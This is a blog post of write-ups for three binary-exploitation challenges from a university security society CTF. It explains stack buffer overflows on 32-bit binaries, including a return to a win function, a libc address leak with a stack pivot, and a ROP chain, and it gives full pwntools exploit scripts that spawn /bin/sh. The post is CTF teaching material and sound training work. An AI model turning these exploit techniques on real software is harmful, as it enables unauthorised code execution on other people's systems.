#grub.js.org

Atlassian/UNSW SecSoc CTF -aaaa/bbbb/cccc (pwn) challenge writeups.

aaaa

Overview

This was the CTFs first pwn challenge. The binary contains an arbitrary buffer overrun and contains a win function. The binary isn't position independent, so we can simply overflow and return to shell. Exploit:

from pwn import *

p = remote("localhost", 7000)
payload = "A"*62 + p32(0x080484d6)
p.sendline(payload)
p.interactive()

bbbb

Overview

This challenge was much harder, with only 2 solves over the course of the CTF. This time, we aren't given a win function, but are instead provided the libc running on the server. The binary still contains the same trivial stack overflow: bbbbsource

First ideas

Our goal is to leak a libc address, and get back to a point where we can overwrite a return address. A first approach could be to jump to puts in the .plt, however we aren't able to do this because the address contains a \x20 byte which will break our string as it is passed through a call to scanf.

So instead we can jump to the call to puts present in main. This has the added advantage of positioning us right before another call to the vulnerable scanf call. I tried something like this:

from pwn import *

p = process("./bbbb", env={"LD_PRELOAD": "./libc6-i386_2.27-3ubuntu1_amd64.so"})

gdb.attach(p,'''
	b *0x8048649
	''')

payload = "A"*62  + p32(0x804861d) + p32(0x8049fe8)

p.recvline()
p.sendline(payload)
leak = p.recvline()
leak = u32(leak[:4])
libc_base = leak - 0x67360

print hex(libc_base)

p.interactive()

This gives us ourlibc leak, however messes with the stack alignment and causes segmentation faults int he subsequent call to scanf. This happens because, as main returns, it does a pop ecx; pop ebx; pop ebp; ret. So we inadvertenly change (or have control of, depending on how you think about it) a few registers and the stack frame. Rather than try to figure out what effect this had explicitly, I placed a few different letters in my buffer to see where the components of my payload trickled through to. If we make the payload something like this:

payload = "A"*50 + "BBBBCCCCDDDD"  + p32(0x804861d) + p32(0x8049fe8)

and run this exploit again, we can check out where the program crashes in gdb to get a better idea of what we might need to change

The first crash we come across is in _IO_vfscanf at the instruction movzx eax, BYTE PTR [ebx]. At this time, we have $ebx == 0x43432a57. If we assume a read is being done at some offset from the Cs in our buffer, we can try substituting them with a writeable address to get past the crash. 0x0804a400 is a good candidate as it is the middle of a rw page. Now with a payload of:

payload = "A"*50 + "BBBB" + p32(0x0804a400) + "DDDD"  + p32(0x804861d) + p32(0x8049fe8)

This gets us through the scanf and back to the end of main. However here we encounter another crash on instruction pop ecx with $esp == 0x4444443c. So it appears the stack is pivoted according to whatever we have in place of "DDDD". Replacing that with a rw address does indeed see the instruction pointer jump into writable memory.

So we're close, we just need to be able write to a determined address in memory. Luckily, it turns out the "DDDD" slot is also passed as the argument to the second scanf call, so in theory we can both write a rop chain and jump to it by writing the one address. In practise however, it doesnt work. I got a bit stuck at this point, and ended up analysing the values of registers after the two calls to scanf. Ultimately, I found that where I had a value of 0x804a400, the value was ending up in the ebx register. After the first successful call however, its value was 0x8049fcc. Replacing this element of my payload had me successfully jumping to the start of my second input.

From here, we write a rop chain in our buffer and jump to it.

Full exploit:

from pwn import *

p = process("./bbbb", env={"LD_PRELOAD": "./libc6-i386_2.27-3ubuntu1_amd64.so"})

payload = "A"*54 + p32(0x8049fcc) + p32(0x804a800) + p32(0x804861d) + p32(0x8049fe8)

print p.recvline()

p.sendline(payload)
leak = p.recvline()
leak = u32(leak[:4])
print hex(leak)
libc_base = leak - 0x67360
print hex(libc_base)

payload = 'A'*62
payload += p32(libc_base + 0x00001aae) # pop edx ; ret
payload += p32(libc_base + 0x001d5040) # @ .data
payload += p32(libc_base + 0x00024a67) # pop eax ; ret
payload += '/bin'
payload += p32(libc_base + 0x00074be5) # mov dword ptr [edx], eax ; ret
payload += p32(libc_base + 0x00001aae) # pop edx ; ret
payload += p32(libc_base + 0x001d5044) # @ .data + 4
payload += p32(libc_base + 0x00024a67) # pop eax ; ret
payload += '//sh'
payload += p32(libc_base + 0x00074be5) # mov dword ptr [edx], eax ; ret
payload += p32(libc_base + 0x00001aae) # pop edx ; ret
payload += p32(libc_base + 0x001d5048) # @ .data + 8
payload += p32(libc_base + 0x0002e045) # xor eax, eax ; ret
payload += p32(libc_base + 0x00074be5) # mov dword ptr [edx], eax ; ret
payload += p32(libc_base + 0x00018be5) # pop ebx ; ret
payload += p32(libc_base + 0x001d5040) # @ .data
payload += p32(libc_base + 0x00193908) # pop ecx ; ret
payload += p32(libc_base + 0x001d5048) # @ .data + 8
payload += p32(libc_base + 0x00001aae) # pop edx ; ret
payload += p32(libc_base + 0x001d5048) # @ .data + 8
payload += p32(libc_base + 0x0002e045) # xor eax, eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00002d37) # int 0x80

p.sendline(payload)

p.interactive()

cccc

Overview

This challenge was much easier than the last. We are provided with a statically linked binary, containing a trivial buffer overflow. We can simply generate a rop chain with ropper, and write in past the buffer for shell.

Full exploit:

from pwn import *

p = process("./cccc")

junk = "A"*62
IMAGE_BASE_0 = 0x08048000
rebase_0 = lambda x : p32(x + IMAGE_BASE_0)

rop = ''
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; 
rop += '//bi'
rop += rebase_0(0x00001a7b) # 0x08049a7b: pop edi; ret; 
rop += rebase_0(0x00091000)
rop += rebase_0(0x00056fa1) # 0x0809efa1: mov dword ptr [edi], ebx; pop ebx; pop esi; pop edi; ret; 
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; 
rop += 'n/sh'
rop += rebase_0(0x00001a7b) # 0x08049a7b: pop edi; ret; 
rop += rebase_0(0x00091004)
rop += rebase_0(0x00056fa1) # 0x0809efa1: mov dword ptr [edi], ebx; pop ebx; pop esi; pop edi; ret; 
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; 
rop += p32(0x00000000)
rop += rebase_0(0x00001a7b) # 0x08049a7b: pop edi; ret; 
rop += rebase_0(0x00091008)
rop += rebase_0(0x00056fa1) # 0x0809efa1: mov dword ptr [edi], ebx; pop ebx; pop esi; pop edi; ret; 
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += rebase_0(0x000269b2) # 0x0806e9b2: pop ecx; pop ebx; ret; 
rop += rebase_0(0x00091008)
rop += p32(0xdeadbeef)
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; 
rop += rebase_0(0x00091000)
rop += rebase_0(0x0002698b) # 0x0806e98b: pop edx; ret; 
rop += rebase_0(0x00091008)
rop += rebase_0(0x0000034c) # 0x0804834c: pop ebp; ret; 
rop += p32(0x0000000b)
rop += rebase_0(0x00011ce9) # 0x08059ce9: xchg eax, ebp; ret; 
rop += rebase_0(0x000272c0) # 0x0806f2c0: int 0x80; ret;

payload = junk + rop
p.sendline(payload)
p.interactive()